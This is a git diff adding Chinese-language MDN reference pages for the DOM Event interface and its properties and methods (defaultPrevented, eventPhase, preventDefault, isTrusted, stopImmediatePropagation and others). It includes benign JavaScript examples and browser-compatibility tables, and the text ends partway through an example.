+ + diff --git a/files/zh-cn/web/api/event/deeppath/index.html b/files/zh-cn/web/api/event/deeppath/index.html new file mode 100644 index 0000000000..2c0d7c0289 --- /dev/null +++ b/files/zh-cn/web/api/event/deeppath/index.html @@ -0,0 +1,89 @@ +--- +title: Event.deepPath +slug: Web/API/Event/deepPath +translation_of: Web/API/Event/composedPath +--- +

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

+ +

{{domxref("Event")}}的deepPath 属性返回事件冒泡过程所有经过的节点所构成的{{jsxref("Array")}}数组

+ +

语法

+ +
var nodes[] = Event.deepPath
+ +

返回值

+ +

一组节点 构成的{{jsxref("Array")}}数组

+ +

规范

+ + + + + + + + + + + + + + +
规格状态评语
{{SpecName('Shadow DOM','#widl-Event-deepPath-sequence-EventTarget','deepPath')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
+
diff --git a/files/zh-cn/web/api/event/defaultprevented/index.html b/files/zh-cn/web/api/event/defaultprevented/index.html new file mode 100644 index 0000000000..f72e97f936 --- /dev/null +++ b/files/zh-cn/web/api/event/defaultprevented/index.html @@ -0,0 +1,54 @@ +--- +title: event.defaultPrevented +slug: Web/API/Event/defaultPrevented +tags: + - API + - DOM + - Event + - Property +translation_of: Web/API/Event/defaultPrevented +--- +

{{ APIRef("DOM") }}

+ +

概述

+ +

返回一个布尔值,表明当前事件是否调用了 {{ domxref("event.preventDefault()") }}方法。

+ +
注意:你应该使用该属性来代替以前的非标准的已经被废弃的getPreventDefault()方法 (查看{{ bug("691151") }}).
+ +

语法

+ +
bool = event.defaultPrevented
+
+ +

示例

+ +
 if (e.defaultPrevented) {
+   /* 事件的默认动作已被取消*/
+ }
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-event-defaultprevented', 'Event.defaultPrevented()')}}{{ Spec2('DOM WHATWG') }} 
+ +

浏览器兼容

+ + + +

{{Compat("api.Event.defaultPrevented")}}

diff --git a/files/zh-cn/web/api/event/event/index.html b/files/zh-cn/web/api/event/event/index.html new file mode 100644 index 0000000000..f6813f02e4 --- /dev/null +++ b/files/zh-cn/web/api/event/event/index.html @@ -0,0 +1,78 @@ +--- +title: Event() +slug: Web/API/Event/Event +tags: + - API + - DOM + - 事件 + - 构造函数 +translation_of: Web/API/Event/Event +--- +

{{APIRef("DOM")}}

+ +

Event() 构造函数, 创建一个新的事件对象 {{domxref("Event")}}。

+ +

语法

+ +
 event = new Event(typeArg, eventInit);
+ +

参数

+ +
+
typeArg
+
是{{domxref("DOMString")}} 类型,表示所创建事件的名称。
+
eventInit{{optional_inline}}
+
+ +
+
EventInit 类型的字典,接受以下字段: + +
    +
  • "bubbles",可选,{{jsxref("Boolean")}}类型,默认值为 false,表示该事件是否冒泡。
  • +
  • "cancelable",可选,{{jsxref("Boolean")}}类型,默认值为 false, 表示该事件能否被取消。
  • +
  • "composed",可选,{{jsxref("Boolean")}}类型,默认值为 false,指示事件是否会在影子DOM根节点之外触发侦听器。
  • +
+
+
+ +

示例

+ +
// 创建一个支持冒泡且不能被取消的look事件
+
+var ev = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(ev);
+
+// 事件可以在任何元素触发,不仅仅是document
+myDiv.dispatchEvent(ev);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-event','Event()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Event.Event")}}

+ +

相关阅读

+ + diff --git a/files/zh-cn/web/api/event/eventphase/index.html b/files/zh-cn/web/api/event/eventphase/index.html new file mode 100644 index 0000000000..d5be77ae7a --- /dev/null +++ b/files/zh-cn/web/api/event/eventphase/index.html @@ -0,0 +1,179 @@ +--- +title: Event.eventPhase +slug: Web/API/Event/eventPhase +translation_of: Web/API/Event/eventPhase +--- +

{{ApiRef("DOM")}}

+ +

表示事件流当前处于哪一个阶段。

+ +

语法

+ +
var phase = event.eventPhase;
+
+ +

返回一个代表当前执行阶段的 整数值,下面列出了不同的执行阶段{{anch("Event phase constants")}}.

+ +

常量

+ +

事件阶段常量

+ +

下面这些值表示了事件流当前执行的阶段。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量描述
Event.NONE0这个时间,没有事件正在被处理
Event.CAPTURING_PHASE1事件正在被目标元素的祖先对象处理. 这个处理过程从{{domxref("Window")}}开始,然后{{domxref("Document")}}, 然后是{{domxref("HTMLHtmlElement")}}, 一直这样,直到目标元素的父元素。 通过{{domxref("EventTarget.addEventListener()")}} 注册为捕获模式的{{domxref("EventListener", "Event listeners", "", 1)}} 被调用。
Event.AT_TARGET2事件对象已经抵达{{domxref("EventTarget", "the event's target", "", 1)}}. 为这个阶段注册的事件监听被调用。 如果 {{domxref("Event.bubbles")}} 的值为false, 对事件对象的处理在这个阶段后就会结束.
Event.BUBBLING_PHASE3事件对象逆向向上传播回目标元素的祖先元素, 从父亲元素开始,并且最终到达包含元素 {{domxref("Window")}}. 这就是冒泡,并且只有{{domxref("Event.bubbles")}} 值为true的时候才会发生。 为这个阶段注册的{{domxref("EventListener", "Event listeners", "", 1)}} 在这个过程中被触发.
+ +

更多细节,请看section 3.1, Event dispatch and DOM event flow, DOM 级别 3 的事件说明。

+ +

例子

+ +

HTML 内容

+ +
<h4>Event Propagation Chain</h4>
+<ul>
+  <li>Click 'd1'</li>
+  <li>Analyse event propagation chain</li>
+  <li>Click next div and repeat the experience</li>
+  <li>Change Capturing mode</li>
+  <li>Repeat the experience</li>
+</ul>
+<input type="checkbox" id="chCapture" />
+<label for="chCapture">Use Capturing</label>
+ <div id="d1">d1
+  <div id="d2">d2
+      <div id="d3">d3
+          <div id="d4">d4</div>
+      </div>
+  </div>
+ </div>
+ <div id="divInfo"></div>
+
+ +

CSS 内容

+ +
div {
+  margin: 20px;
+  padding: 4px;
+  border: thin black solid;
+}
+
+#divInfo {
+  margin: 18px;
+  padding: 8px;
+  background-color:white;
+  font-size:80%;
+}
+ +

JavaScript 内容

+ +
var clear = false, divInfo = null, divs = null, useCapture = false;
+window.onload = function () {
+  divInfo = document.getElementById("divInfo");
+  divs = document.getElementsByTagName('div');
+  chCapture = document.getElementById("chCapture");
+  chCapture.onclick = function () {
+    RemoveListeners();
+    AddListeners();
+  }
+  Clear();
+  AddListeners();
+}
+
+function RemoveListeners() {
+  for (var i = 0; i < divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      d.removeEventListener("click", OnDivClick, true);
+      d.removeEventListener("click", OnDivClick, false);
+    }
+  }
+}
+
+function AddListeners() {
+  for (var i = 0; i < divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      d.addEventListener("click", OnDivClick, false);
+      if (chCapture.checked)
+        d.addEventListener("click", OnDivClick, true);
+      d.onmousemove = function () { clear = true; };
+    }
+  }
+}
+
+function OnDivClick(e) {
+  if (clear) {
+    Clear(); clear = false;
+  }
+  if (e.eventPhase == 2)
+    e.currentTarget.style.backgroundColor = 'red';
+  var level = e.eventPhase == 0 ? "none" : e.eventPhase == 1 ? "capturing" : e.eventPhase == 2 ? "target" : e.eventPhase == 3 ? "bubbling" : "error";
+  divInfo.innerHTML += e.currentTarget.id + "; eventPhase: " + level + "<br/>";
+}
+
+function Clear() {
+  for (var i = 0; i < divs.length; i++) {
+    if (divs[i].id != "divInfo")
+      divs[i].style.backgroundColor = (i & 1) ? "#f6eedb" : "#cceeff";
+  }
+  divInfo.innerHTML = '';
+}
+
+ +

{{ EmbedLiveSample('Example', '', '700', '', 'Web/API/Event/eventPhase') }}

+ +

说明

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-eventphase", "Event.eventPhase")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-event-eventphase", "Event.eventPhase")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-Event-eventPhase", "Event.eventPhase")}}{{Spec2("DOM2 Events")}}Initial definition
diff --git a/files/zh-cn/web/api/event/index.html b/files/zh-cn/web/api/event/index.html new file mode 100644 index 0000000000..6660fccf0e --- /dev/null +++ b/files/zh-cn/web/api/event/index.html @@ -0,0 +1,212 @@ +--- +title: Event +slug: Web/API/Event +tags: + - API + - DOM + - 事件 + - 参考 + - 接口 + - 构造器 +translation_of: Web/API/Event +--- +
{{APIRef("DOM")}}
+ +

Event 接口表示在 DOM 中出现的事件。

+ +

一些事件是由用户触发的,例如鼠标或键盘事件;而其他事件常由 API 生成,例如指示动画已经完成运行的事件,视频已被暂停等等。事件也可以通过脚本代码触发,例如对元素调用 HTMLElement.click() 方法,或者定义一些自定义事件,再使用 EventTarget.dispatchEvent() 方法将自定义事件派发往指定的目标(target)。

+ +

有许多不同类型的事件,其中一些使用基于 Event 主接口的二次接口。Event 本身包含适用于所有事件的属性和方法。

+ +

很多DOM元素可以被设计接收(或者监听) 这些事件, 并且执行代码去响应(或者处理)它们。通过EventTarget.addEventListener()方法可以将事件处理函数绑定到不同的HTML elements上 (比如<button>, <div>, <span>等等) 。这种绑定事件处理函数的方式基本替换了老版本中使用HTML event handler attributes来绑定事件处理函数的方式。除此之外,通过正确使用removeEventListener()方法,这些事件处理函数也能被移除。

+ +
+

Note: 一个元素可以绑定多个事件处理函数,甚至是同一种类型的事件。尤其是这种分离的,并且相互独立的代码模块对同一个元素绑定事件处理函数,每一个模块代码都有着独立的目的。(比如,一个网页同时有着广告模块和统计模块同时监听视频播放元素)

+
+ +

当有很多嵌套的元素,并且每一个元素都有着自己的事件处理函数,事件处理过程会变得非常复杂。尤其当一个父元素和子元素绑定有相同类型的事件处理函数的时候。因为结构上的重叠,事件处理函数可能会依次被触发,触发的顺序取决于事件冒泡和事件捕获在每一个元素上的设置情况。

+ +

基于 Event 的接口

+ +

下面是主要基于Event接口的接口列表,每一个接口都设置了指向各自的MDN API说明的文档链接。

+ +

需要注意的是,所有的事件接口名称都是以“Event”结尾的。

+ +
+ +
+ +

构造器

+ +
+
{{domxref("Event.Event", "Event()")}}
+
创建并返回一个 Event 对象。
+
+ +

属性

+ +
+
{{domxref("Event.bubbles")}} {{readonlyinline}}
+
一个布尔值,用来表示该事件是否会在 DOM 中冒泡。
+
{{domxref("Event.cancelBubble")}}
+
{{domxref("Event.stopPropagation()")}} 的历史别名。在事件处理器函数返回之前,将此属性的值设置为 true,亦可阻止事件继续冒泡。
+
{{domxref("Event.cancelable")}} {{readonlyinline}}
+
一个布尔值,表示事件是否可以取消。
+
{{domxref("Event.composed")}} {{ReadOnlyInline}}
+
一个布尔值,表示事件是否可以穿过 Shadow DOM 和常规 DOM 之间的隔阂进行冒泡。
+
{{domxref("Event.currentTarget")}} {{readonlyinline}}
+
对事件当前注册的目标的引用。这是一个当前计划将事件发送到的对象。它是有可能在重定向的过程中被改变的。
+
{{domxref("Event.deepPath")}} {{non-standard_inline}}
+
一个由事件流所经过的 DOM {{domxref("Node", "节点")}}组成的{{jsxref("Array", "数组")}}。
+
{{domxref("Event.defaultPrevented")}} {{readonlyinline}}
+
一个布尔值,表示 {{domxref("event.preventDefault()")}} 方法是否取消了事件的默认行为。
+
{{domxref("Event.eventPhase")}} {{readonlyinline}}
+
表示事件流正被处理到了哪个阶段。
+
{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}
+
事件的明确(explicit)原始目标(Mozilla 专有属性)。
+
{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}
+
重设目标前的事件原始目标 (Mozilla 专有属性)。
+
{{domxref("Event.returnValue")}}
+
旧版 Internet Explorer 引入的一个非标准历史属性,为保证依赖此属性的网页正常运作,此属性最终被收入规范。可用 {{domxref("Event.preventDefault()")}} 与 {{domxref("Event.defaultPrevented")}} 代替,但由于已进入规范,也可以使用此属性。
+
{{domxref("Event.srcElement")}} {{non-standard_inline}}
+
旧版 Internet Explorer 对 {{domxref("Event.target")}} 的非标准别称。出于兼容原因,一些其他浏览器也支持此别称。
+
{{domxref("Event.target")}} {{readonlyinline}}
+
对事件原始目标的引用,这里的原始目标指最初派发(dispatch)事件时指定的目标。
+
{{domxref("Event.timeStamp")}} {{readonlyinline}}
+
事件创建时的时间戳(精度为毫秒)。按照规范,这个时间戳是 Unix 纪元起经过的毫秒数,但实际上,在不同的浏览器中,对此时间戳的定义也有所不同。另外,规范正在将其修改为 {{domxref("DOMHighResTimeStamp")}}。
+
{{domxref("Event.type")}} {{readonlyinline}}
+
事件的类型,不区分大小写。
+
{{domxref("Event.isTrusted")}} {{readonlyinline}}
+
表示事件是由浏览器(例如用户点击)发起的,还是由脚本(使用事件创建方法,例如 {{domxref("Event.initEvent")}})发出的。
+
+ +
+
+

废弃属性

+
+
{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}
+
已废弃,使用 {{domxref("Event.composed")}} 代替此属性。
+ 一个{{jsxref("Boolean", "布尔值")}},表示给定的事件是否会穿过 Shadow DOM,进入到标准 DOM 中。
+
+ +

方法

+ +
+
{{domxref("Event.createEvent()")}} {{deprecated_inline}}
+
创建一个新事件,如果使用此方法创建事件,则必须调用其自身的 initEvent() 方法,对其进行初始化。
+
{{domxref("Event.composedPath()")}}
+
返回事件的路径(将在该对象上调用监听器)。如果阴影根节点 (shadow root) 创建时 {{domxref("ShadowRoot.mode")}} 值为 closed,那么路径不会包括该根节点下阴影树 (shadow tree) 的节点。
+
{{domxref("event.initEvent")}}{{deprecated_inline}}
+
为通过 {{domxref("Event.createEvent()")}} 创建的事件初始化。该方法对已经被派发的事件无效。
+
{{domxref("event.preventDefault")}}
+
取消事件(如果该事件可取消)。
+
{{domxref("event.stopImmediatePropagation")}}
+
对这个特定的事件而言,没有其他监听器被调用。这个事件既不会添加到相同的元素上,也不会添加到以后将要遍历的元素上(例如在捕获阶段)。
+
{{domxref("event.stopPropagation")}}
+
停止冒泡,阻止事件在 DOM 中继续冒泡。
+
+ +

废弃方法

+ +
+
{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}}
+
非标准方法;使用 {{domxref("Event.defaultPrevented")}} 属性代替此方法。
+ 返回 {{domxref("Event.defaultPrevented")}} 的值。
+
{{domxref("event.preventBubble")}} {{Obsolete_inline(24)}}
+
已废弃;使用 {{domxref("event.stopPropagation")}} 代替此方法。
+ 阻止事件继续冒泡。
+
{{domxref("event.preventCapture")}} {{Obsolete_inline(24)}}
+
已废弃;使用 {{domxref("event.stopPropagation")}} 代替此方法。
+
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Event")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/event/initevent/index.html b/files/zh-cn/web/api/event/initevent/index.html new file mode 100644 index 0000000000..d99b441c41 --- /dev/null +++ b/files/zh-cn/web/api/event/initevent/index.html @@ -0,0 +1,130 @@ +--- +title: Event.initEvent() +slug: Web/API/Event/initEvent +translation_of: Web/API/Event/initEvent +--- +
{{ ApiRef("DOM") }}{{deprecated_header}}
+ +

Event.initEvent() 方法可以用来初始化由{{domxref("Document.createEvent()") }} 创建的 {{ domxref("event") }} 实例.

+ +

用这种方式初始化事件必须是由 {{ domxref("Document.createEvent()") }} 方法创建的实例. 本方法必须在事件被触发之前调用(用{{ domxref("EventTarget.dispatchEvent()") }}调用).事件 一旦被调用, 便不再做其他任何事.

+ +
+

不建议再使用此方法(方法已经过时deprecated)

+ +

可以使用特定的event构造器函数, 比如 {{domxref("Event.Event", "Event()")}}. 该页有关于这些的更多信息 Creating and triggering events .

+
+ +

语法

+ +
event.initEvent(type, bubbles, cancelable);
+ +
+
type
+
一个 {{domxref("DOMString")}} 类型的字段,定义了事件的类型.
+
bubbles
+
一个 {{jsxref("Boolean")}} 值,决定是否事件是否应该向上冒泡. 一旦设置了这个值,只读属性{{ domxref("Event.bubbles") }}也会获取相应的值.
+
cancelable
+
一个 {{jsxref("Boolean")}} 值,决定该事件的默认动作是否可以被取消. 一旦设置了这个值, 只读属性 {{ domxref("Event.cancelable") }} 也会获取相应的值.
+
+ +

范例

+ +
// 创建事件.
+var event = document.createEvent('Event');
+
+// 初始化一个点击事件,可以冒泡,无法被取消
+event.initEvent('click', true, false);
+
+// 设置事件监听.
+elem.addEventListener('click', function (e) {
+  // e.target 就是监听事件目标元素
+}, false);
+
+// 触发事件监听
+elem.dispatchEvent(event);
+
+ +

规格

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-event-initevent','Event.initEvent()')}}{{Spec2("DOM WHATWG")}}From {{SpecName('DOM2 Events')}}, deprecated it, superseded by event constructors.
{{SpecName('DOM2 Events','##Events-Event-initEvent','Event.initEvent()')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}} [1]{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }} [1]{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] Before Firefox 17, a call to this method after the dispatching of the event raised an exception instead of doing nothing.

+ +

另见

+ + diff --git a/files/zh-cn/web/api/event/istrusted/index.html b/files/zh-cn/web/api/event/istrusted/index.html new file mode 100644 index 0000000000..275d384acd --- /dev/null +++ b/files/zh-cn/web/api/event/istrusted/index.html @@ -0,0 +1,62 @@ +--- +title: Event.isTrusted +slug: Web/API/Event/isTrusted +tags: + - API + - Event + - Reference + - 只读 + - 属性 +translation_of: Web/API/Event/isTrusted +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Event")}} 接口的 isTrusted 属性是一个只读属性,它是一个布尔值({{domxref("Boolean")}})。当事件是由用户行为生成的时候,这个属性的值为 true ,而当事件是由脚本创建、修改、通过 {{domxref("EventTarget.dispatchEvent()")}} 派发的时候,这个属性的值为 false 。

+ +

语法

+ +
var eventIsTrusted = event.isTrusted;
+
+ +

+ +

{{domxref("Boolean")}} (布尔值)

+ +

示例

+ +
if (e.isTrusted) {
+  /* Event 事件可信 */
+} else {
+  /* Event 事件不可信 */
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范现状意见
{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}{{Spec2('DOM3 Events')}}添加有关受信任与不受信任事件的请求,而 isTrusted 属性并非由其定义。
+ +

浏览器支持

+ +
+ + +

{{Compat("api.Event.isTrusted")}}

+
diff --git a/files/zh-cn/web/api/event/originaltarget/index.html b/files/zh-cn/web/api/event/originaltarget/index.html new file mode 100644 index 0000000000..7032dfe1ba --- /dev/null +++ b/files/zh-cn/web/api/event/originaltarget/index.html @@ -0,0 +1,30 @@ +--- +title: Event.originalTarget +slug: Web/API/Event/originalTarget +tags: + - originalTarget +translation_of: Web/API/Event/originalTarget +--- +
{{ ApiRef("DOM") }} {{Non-standard_header}}
+ +
 
+ +

简介

+ +

original target是事件重定向之前的原始目标. (Mozilla-特有)

+ +

在XBL的匿名内容中,这将是该事件最初触发的匿名节点。看到匿名的内容。查看Anonymous Content#Event_Flow_and_Targeting 获取更多细节.

+ +

注意:原始目标也可能是原生的匿名内容(参见Bug(“208427”)),在这种情况下,它对于非特权代码是无用的。

+ +

查看Comparison of Event Targets

+ +

示例

+ +

需要一个有意义的示例

+ +

Specification属性

+ +

这是一个Mozilla特有的属性. 定义在 {{Source("/dom/public/idl/events/nsIDOMNSEvent.idl")}}

+ +

W3.org DOM Level 2 Events未定义这个属性

diff --git a/files/zh-cn/web/api/event/preventdefault/index.html b/files/zh-cn/web/api/event/preventdefault/index.html new file mode 100644 index 0000000000..643b1be269 --- /dev/null +++ b/files/zh-cn/web/api/event/preventdefault/index.html @@ -0,0 +1,170 @@ +--- +title: event.preventDefault +slug: Web/API/Event/preventDefault +tags: + - API + - DOM + - Event + - preventDefault +translation_of: Web/API/Event/preventDefault +--- +

{{APIRef("DOM")}}

+ +

{{domxref("Event")}} 接口的 preventDefault()方法,告诉{{Glossary("user agent")}}:如果此事件没有被显式处理,它默认的动作也不应该照常执行。此事件还是继续传播,除非碰到事件侦听器调用{{domxref("Event.stopPropagation", "stopPropagation()")}} 或{{domxref("Event.stopImmediatePropagation", "stopImmediatePropagation()")}},才停止传播。

+ +

语法

+ +
event.preventDefault();
+
+
+ +

参数

+ +

+ +

返回值

+ +

undefined

+ +

示例

+ +

阻止默认的点击事件执行

+ +

选中复选框是点击复选框的默认行为。下面这个例子说明了怎样阻止默认行为的发生:

+ +

JavaScript

+ +
document.querySelector("#id-checkbox").addEventListener("click", function(event) {
+         document.getElementById("output-box").innerHTML += "Sorry! <code>preventDefault()</code> won't let you check this!<br>";
+         event.preventDefault();
+}, false);
+ +

HTML

+ +
<p>Please click on the checkbox control.</p>
+
+<form>
+  <label for="id-checkbox">Checkbox:</label>
+  <input type="checkbox" id="id-checkbox"/>
+</form>
+
+<div id="output-box"></div>
+ +

结果

+ +

你可以看到如下的行为:

+ +

{{EmbedLiveSample("Blocking_default_click_handling")}}

+ +

在编辑域中阻止按键

+ +

下面的这个例子说明了如何使用preventDefault()在文本编辑域中阻止有效的文本输入。如今,你通常可以使用原生的HTML表单验证来代替。

+ +

HTML

+ +

表单:

+ +
<div class="container">
+  <p>Please enter your name using lowercase letters only.</p>
+
+  <form>
+    <input type="text" id="my-textbox">
+  </form>
+</div>
+ +

CSS

+ +

当用户按下一个有效按键的时候,我们就给这个warning box 加上一些样式:

+ +
.warning {
+  border: 2px solid #f39389;
+  border-radius: 2px;
+  padding: 10px;
+  position: absolute;
+  background-color: #fbd8d4;
+  color: #3b3c40;
+}
+ +

JavaScript

+ +

这里是相关的JavaScript代码。首先,监听{{event("keypress")}}事件:

+ +
var myTextbox = document.getElementById('my-textbox');
+myTextbox.addEventListener('keypress', checkName, false);
+ +

 checkName()方法可以监听按键并且决定是否允许按键的默认行为发生。

+ +
function checkName(evt) {
+  var charCode = evt.charCode;
+  if (charCode != 0) {
+    if (charCode < 97 || charCode > 122) {
+      evt.preventDefault();
+      displayWarning(
+        "Please use lowercase letters only."
+        + "\n" + "charCode: " + charCode + "\n"
+      );
+    }
+  }
+}
+ +

displayWarning()方法显示了一个问题的通知。这不是一种优雅的方法,但是确实可以达到我们的目的。

+ +
var warningTimeout;
+var warningBox = document.createElement("div");
+warningBox.className = "warning";
+
+function displayWarning(msg) {
+  warningBox.innerHTML = msg;
+
+  if (document.body.contains(warningBox)) {
+    window.clearTimeout(warningTimeout);
+  } else {
+    // insert warningBox after myTextbox
+    myTextbox.parentNode.insertBefore(warningBox, myTextbox.nextSibling);
+  }
+
+  warningTimeout = window.setTimeout(function() {
+      warningBox.parentNode.removeChild(warningBox);
+      warningTimeout = -1;
+    }, 2000);
+}
+ +

结果

+ +

这里就是代码的执行结果:

+ +

{{ EmbedLiveSample('Stopping_keystrokes_from_reaching_an_edit_field', 600, 200) }}

+ +

备注

+ +

在事件流的任何阶段调用preventDefault()都会取消事件,这意味着任何通常被该实现触发并作为结果的默认行为都不会发生。

+ +

你可以使用 {{domxref("Event.cancelable")}} 来检查该事件是否支持取消。为一个不支持cancelable的事件调用preventDefault()将没有效果。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-event-preventdefault', 'Event.preventDefault()')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM2 Events', '#Events-Event-preventDefault', 'Event.preventDefault()')}}{{ Spec2('DOM2 Events') }}初版
+ +

浏览器兼容

+ +

{{Compat("api.Event.preventDefault")}}

diff --git a/files/zh-cn/web/api/event/returnvalue/index.html b/files/zh-cn/web/api/event/returnvalue/index.html new file mode 100644 index 0000000000..78266987e7 --- /dev/null +++ b/files/zh-cn/web/api/event/returnvalue/index.html @@ -0,0 +1,62 @@ +--- +title: Event.returnValue +slug: Web/API/Event/returnValue +tags: + - API + - DOM + - 事件 + - 参考 + - 属性 +translation_of: Web/API/Event/returnValue +--- +
{{APIRef("DOM Events")}}
+ +

Event.returnValue 属性表示该事件的默认操作是否已被阻止。默认情况下,它被设置为 true,即允许进行默认操作。将该属性设置为 false 即可阻止默认操作。

+ +
+

注意: While returnValue has been adopted into the DOM standard, it is present primarily to support existing code. You should use {{DOMxRef("Event.preventDefault", "preventDefault()")}}, and {{domxref("Event.defaultPrevented", "defaultPrevented")}} instead of this historical property.

+
+ +

语法

+ +
event.returnValue = bool;
+
+var bool = event.returnValue;
+
+ +

+ +

A {{domxref("Boolean")}} value which is true if the event has not been canceled; otherwise, if the event has been canceled or the default has been prevented, the value is false.

+ +

The value returned by returnValue is the opposite of the value returned by {{domxref("Event.defaultPrevented", "defaultPrevented")}}.

+ +

使用备注

+ +

returnValue was introduced into the DOM by Internet Explorer 6, and due to that browser's ubiquity became so commonly used that other browsers eventually implemented it as well. It has been adopted into the DOM specification, primarily to ensure that existing web content continues to function going forward.

+ +

New projects should generally avoid using returnValue, although they may if they choose to do so.

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("DOM WHATWG", "#dom-event-returnvalue", "returnValue")}}{{Spec2("DOM WHATWG")}}Added for legacy compatibility.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Event.returnValue")}}

diff --git a/files/zh-cn/web/api/event/srcelement/index.html b/files/zh-cn/web/api/event/srcelement/index.html new file mode 100644 index 0000000000..6a219673fc --- /dev/null +++ b/files/zh-cn/web/api/event/srcelement/index.html @@ -0,0 +1,76 @@ +--- +title: Event.srcElement +slug: Web/API/Event/srcElement +translation_of: Web/API/Event/srcElement +--- +

{{ApiRef("DOM")}}

+ +

{{ Non-standard_header() }}

+ +

Event.srcElement 是标准的 {{domxref("Event.target")}} 属性的一个别名。它只对老版本的IE浏览器有效。

+ +

规范

+ +

不属于任何规范

+ +

微软 在MSDN有一篇描述。

+ +

 

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatNo}} [1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatNo}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1]: {{bug(453968)}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/event/stopimmediatepropagation/index.html b/files/zh-cn/web/api/event/stopimmediatepropagation/index.html new file mode 100644 index 0000000000..542df3f67d --- /dev/null +++ b/files/zh-cn/web/api/event/stopimmediatepropagation/index.html @@ -0,0 +1,89 @@ +--- +title: event.stopImmediatePropagation +slug: Web/API/Event/stopImmediatePropagation +tags: + - API + - 事件 + - 参考 + - 方法 +translation_of: Web/API/Event/stopImmediatePropagation +--- +

{{APIRef("DOM")}}

+ +

{{domxref("Event")}} 接口的 stopImmediatePropagation() 方法阻止监听同一事件的其他事件监听器被调用。

+ +

如果多个事件监听器被附加到相同元素的相同事件类型上,当此事件触发时,它们会按其被添加的顺序被调用。如果在其中一个事件监听器中执行 stopImmediatePropagation() ,那么剩下的事件监听器都不会被调用。

+ +
+

译者注:注意与 event.stopPropagation() 之间的区别

+
+ +

语法

+ +
event.stopImmediatePropagation();
+
+ +

例子

+ +
<!DOCTYPE html>
+<html>
+    <head>
+        <style>
+            p { height: 30px; width: 150px; background-color: #ccf; }
+            div {height: 30px; width: 150px; background-color: #cfc; }
+        </style>
+    </head>
+    <body>
+        <div>
+            <p>paragraph</p>
+        </div>
+        <script>
+            const p = document.querySelector('p')
+            p.addEventListener("click", (event) => {
+              alert("我是p元素上被绑定的第一个监听函数");
+            }, false);
+
+            p.addEventListener("click", (event) => {
+              alert("我是p元素上被绑定的第二个监听函数");
+              event.stopImmediatePropagation();
+              // 执行stopImmediatePropagation方法,阻止click事件冒泡,并且阻止p元素上绑定的其他click事件的事件监听函数的执行.
+            }, false);
+
+            p.addEventListener("click",(event) => {
+              alert("我是p元素上被绑定的第三个监听函数");
+              // 该监听函数排在上个函数后面,该函数不会被执行
+            }, false);
+
+            document.querySelector("div").addEventListener("click", (event) => {
